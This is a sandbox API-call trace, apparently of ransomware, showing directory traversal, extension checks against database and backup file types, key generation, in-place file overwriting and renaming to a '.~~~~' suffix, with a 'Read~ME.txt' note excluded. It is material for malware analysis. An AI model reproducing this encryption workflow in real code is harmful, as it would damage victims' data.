	[0146.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".myd") returned 0x0
	[0146.898] lstrlenW (lpString=".DTXS") returned 5
	[0146.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".DTXS") returned 0x0
	[0146.986] lstrlenW (lpString=".ckp") returned 4
	[0146.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".ckp") returned 0x0
	[0146.986] lstrlenW (lpString=".dbt") returned 4
	[0146.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".dbt") returned 0x0
	[0146.986] lstrlenW (lpString=".db") returned 3
	[0146.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".db") returned 0x0
	[0146.987] lstrlenW (lpString=".TXT") returned 4
	[0146.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".TXT") returned 0x0
	[0146.987] lstrlenW (lpString=".MDF") returned 4
	[0146.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".MDF") returned 0x0
	[0146.987] lstrlenW (lpString=".bdb") returned 4
	[0146.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".bdb") returned 0x0
	[0146.987] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0146.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0146.987] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a00d0) returned 1
	[0146.988] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0146.988] CryptReleaseContext (hProv=0x3a00d0, dwFlags=0x0) returned 1
	[0146.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0146.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0146.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0146.988] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26697860909) returned 1
	[0146.989] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xc103b630, dwHighDateTime=0x1d60e1e)) 
	[0146.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0146.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0146.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0146.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28d20c0
	[0146.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d20c0 | out: hHeap=0x300000) returned 1
	[0146.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0146.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7d08
	[0146.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0146.989] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0146.990] GetLastError () returned 0x0
	[0146.990] GetLastError () returned 0x0
	[0146.990] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0146.990] GetLastError () returned 0x0
	[0146.990] GetLastError () returned 0x0
	[0146.990] ReadFile (in: hFile=0x138, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0147.010] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.010] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0147.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0147.011] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.011] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0147.013] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0147.013] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0147.013] CloseHandle (hObject=0x138) returned 1
	[0147.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aca58
	[0147.013] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde.~~~~")) returned 1
	[0147.184] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0147.184] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0147.184] GetLastError () returned 0x0
	[0147.184] RtlWakeConditionVariable () returned 0x0
	[0147.184] GetCurrentThreadId () returned 0x9cc
	[0147.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll", lpSrch=".scr") returned 0x0
	[0147.185] lstrlenW (lpString=".cmd") returned 4
	[0147.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll", lpSrch=".cmd") returned 0x0
	[0147.185] lstrlenW (lpString=".dll") returned 4
	[0147.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll", lpSrch=".dll") returned=".dll"
	[0147.185] lstrlenW (lpString=".dll") returned 4
	[0147.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a74c0 | out: hHeap=0x300000) returned 1
	[0147.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2870268 | out: hHeap=0x300000) returned 1
	[0147.185] RtlWakeConditionVariable () returned 0x365f70
	[0147.185] GetCurrentThreadId () returned 0x9cc
	[0147.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll", lpSrch=".scr") returned 0x0
	[0147.185] lstrlenW (lpString=".cmd") returned 4
	[0147.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll", lpSrch=".cmd") returned 0x0
	[0147.185] lstrlenW (lpString=".dll") returned 4
	[0147.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll", lpSrch=".dll") returned=".dll"
	[0147.185] lstrlenW (lpString=".dll") returned 4
	[0147.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d08a0 | out: hHeap=0x300000) returned 1
	[0147.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0147.185] RtlWakeConditionVariable () returned 0x365f70
	[0147.185] GetCurrentThreadId () returned 0x9cc
	[0147.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF", lpSrch=".scr") returned 0x0
	[0147.185] lstrlenW (lpString=".cmd") returned 4
	[0147.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF", lpSrch=".cmd") returned 0x0
	[0147.185] lstrlenW (lpString=".dll") returned 4
	[0147.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF", lpSrch=".dll") returned 0x0
	[0147.185] lstrlenW (lpString=".bat") returned 4
	[0147.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF", lpSrch=".bat") returned 0x0
	[0147.185] lstrlenW (lpString=".cpl") returned 4
	[0147.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF", lpSrch=".cpl") returned 0x0
	[0147.186] lstrlenW (lpString=".sys") returned 4
	[0147.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF", lpSrch=".sys") returned 0x0
	[0147.186] lstrlenW (lpString=".msc") returned 4
	[0147.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF", lpSrch=".msc") returned 0x0
	[0147.186] lstrlenW (lpString=".com") returned 4
	[0147.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF", lpSrch=".com") returned 0x0
	[0147.186] lstrlenW (lpString=".lnk") returned 4
	[0147.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF", lpSrch=".lnk") returned 0x0
	[0147.186] lstrlenW (lpString=".msp") returned 4
	[0147.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF", lpSrch=".msp") returned 0x0
	[0147.186] lstrlenW (lpString=".pif") returned 4
	[0147.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF", lpSrch=".pif") returned 0x0
	[0147.186] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0147.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF", lpSrch="msp\r\n.pif") returned 0x0
	[0147.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) 

Thread:
	id = 9
	os_tid = 0x618

	[0061.733] StrStrW (lpFirst="\\\\?\\C:", lpSrch="AppData") returned 0x0
	[0061.733] lstrlenW (lpString="C:\\Windows") returned 10
	[0061.733] lstrcmpiW (lpString1="C:", lpString2="C:\\Windows") returned -1
	[0061.733] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0061.733] lstrcmpiW (lpString1="C:", lpString2="C:\\System Volume Information") returned -1
	[0061.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x36a728
	[0061.733] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x27dfd28 | out: lpFindFileData=0x27dfd28*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x37a748
	[0061.733] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="Windows") returned -1
	[0061.734] lstrcmpW (lpString1="$Recycle.Bin", lpString2=".") returned -1
	[0061.734] lstrcmpW (lpString1="$Recycle.Bin", lpString2="..") returned -1
	[0061.734] lstrcmpW (lpString1="$Recycle.Bin", lpString2="AppData") returned -1
	[0061.734] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin", lpSrch="AppData") returned 0x0
	[0061.734] lstrlenW (lpString="C:\\Windows") returned 10
	[0061.734] lstrcmpiW (lpString1="C:\\$Recycle.Bin", lpString2="C:\\Windows") returned -1
	[0061.734] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0061.734] lstrcmpiW (lpString1="C:\\$Recycle.Bin", lpString2="C:\\System Volume Information") returned -1
	[0061.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0061.734] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a788
	[0061.735] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0061.735] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0061.735] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0061.735] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0061.735] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0061.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c848
	[0061.735] GetCurrentThreadId () returned 0x618
	[0061.735] GetCurrentThreadId () returned 0x618
	[0061.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c880
	[0061.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8b8
	[0061.735] RtlWakeConditionVariable () returned 0x1
	[0061.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c848 | out: hHeap=0x300000) returned 1
	[0061.737] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.737] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0061.737] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0061.737] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0061.737] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0061.737] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0061.737] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0061.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c848
	[0061.737] GetCurrentThreadId () returned 0x618
	[0061.737] GetCurrentThreadId () returned 0x618
	[0061.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0061.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c880
	[0061.737] RtlWakeConditionVariable () returned 0x1
	[0061.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c848 | out: hHeap=0x300000) returned 1
	[0061.739] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0061.739] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="Windows") returned -1
	[0061.739] lstrcmpW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2=".") returned 1
	[0061.739] lstrcmpW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="..") returned 1
	[0061.739] lstrcmpW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="AppData") returned 1
	[0061.739] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000", lpSrch="AppData") returned 0x0
	[0061.739] lstrlenW (lpString="C:\\Windows") returned 10
	[0061.739] lstrcmpiW (lpString1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="C:\\Windows") returned -1
	[0061.739] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0061.739] lstrcmpiW (lpString1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="C:\\System Volume Information") returned -1
	[0061.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38c740
	[0061.740] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0061.740] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0061.740] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0061.740] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0061.740] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0061.740] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0061.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x366000
	[0061.740] GetCurrentThreadId () returned 0x618
	[0061.740] GetCurrentThreadId () returned 0x618
	[0061.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c848
	[0061.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39c748
	[0061.740] RtlWakeConditionVariable () returned 0x1
	[0061.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366000 | out: hHeap=0x300000) returned 1
	[0061.742] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.742] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0061.742] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0061.742] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0061.742] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0061.742] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0061.742] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0061.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x366000
	[0061.742] GetCurrentThreadId () returned 0x618
	[0061.742] GetCurrentThreadId () returned 0x618
	[0061.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c848
	[0061.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d750
	[0061.742] RtlWakeConditionVariable () returned 0x1
	[0061.744] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366000 | out: hHeap=0x300000) returned 1
	[0061.744] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0061.744] lstrcmpiW (lpString1="desktop.ini", lpString2="Windows") returned -1
	[0061.744] lstrcmpW (lpString1="desktop.ini", lpString2="oiikyy.exe") returned -1
	[0061.744] StrStrW (lpFirst="desktop.ini", lpSrch=".~~~~") returned 0x0
	[0061.744] lstrcmpW (lpString1="desktop.ini", lpString2="Read~ME.txt") returned -1
	[0061.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x366000
	[0061.744] GetCurrentThreadId () returned 0x618
	[0061.744] GetCurrentThreadId () returned 0x618
	[0061.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c848
	[0061.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39d750
	[0061.744] RtlWakeConditionVariable () returned 0x1
	[0061.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366000 | out: hHeap=0x300000) returned 1
	[0061.769] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0061.769] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0061.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39d9d8
	[0061.769] GetCurrentThreadId () returned 0x618
	[0061.769] GetCurrentThreadId () returned 0x618
	[0061.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8b8
	[0061.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x366000
	[0061.769] RtlWakeConditionVariable () returned 0x1
	[0061.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d9d8 | out: hHeap=0x300000) returned 1
	[0061.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38c740 | out: hHeap=0x300000) returned 1
	[0061.773] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0061.774] FindClose (in: hFindFile=0x37a788 | out: hFindFile=0x37a788) returned 1
	[0061.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357008
	[0061.774] GetCurrentThreadId () returned 0x618
	[0061.774] GetCurrentThreadId () returned 0x618
	[0061.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8b8
	[0061.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0061.774] RtlWakeConditionVariable () returned 0x1
	[0061.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357008 | out: hHeap=0x300000) returned 1
	[0061.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37b730 | out: hHeap=0x300000) returned 1
